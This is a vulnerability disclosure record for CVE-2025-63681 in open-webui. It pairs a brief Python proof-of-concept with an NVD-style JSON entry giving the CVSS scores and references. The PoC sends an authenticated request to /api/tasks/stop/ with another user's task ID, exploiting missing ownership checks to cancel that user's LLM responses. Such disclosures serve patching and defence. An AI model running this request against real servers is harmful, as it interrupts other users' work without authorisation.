CVE-2025-63681

import requests import json # CVE-2025-63681 PoC - Arbitrary Task Stop in open-webui # Target: open-webui v0.6.33 # Vulnerability: Missing ownership verification in /api/tasks/stop/ API TARGET_URL = "http://target-server:3000" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_TASK_ID = "victim_task_id_here" # Replace with target task ID def stop_arbitrary_task(): """ Stop arbitrary LLM response tasks without ownership verification. This PoC demonstrates how an authenticated attacker can stop any task. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Construct the malicious request to stop arbitrary task payload = { "task_id": TARGET_TASK_ID } endpoint = f"{TARGET_URL}/api/tasks/stop/" try: response = requests.post(endpoint, json=payload, headers=headers) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Task stopped successfully!") return True else: print("[-] Failed to stop task") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-63681 PoC - open-webui Arbitrary Task Stop") print("=" * 50) stop_arbitrary_task()

{"cve": {"id": "CVE-2025-63681", "sourceIdentifier": "[email protected]", "published": "2025-12-04T16:16:22.447", "lastModified": "2025-12-05T20:15:57.000", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "open-webui v0.6.33 is vulnerable to Incorrect Access Control. The API /api/tasks/stop/ directly accesses and cancels tasks without verifying user ownership, enabling attackers (a normal user) to stop arbitrary LLM response tasks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openwebui:open_webui:0.6.41:*:*:*:*:*:*:*", "matchCriteriaId": "D2373A2F-D893-415D-9CD7-2ADAE6C0E823"}]}]}], "references": [{"url": "https://github.com/TOAST-Research/pocs/blob/main/openwebui/arbitirary_task_stop/report.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/open-webui/open-webui/blob/46ae3f4f5d7d4d706041bdae4ad2d802e568712b/backend/open_webui/main.py#L1652", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/TOAST-Research/pocs/blob/main/openwebui/arbitirary_task_stop/report.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}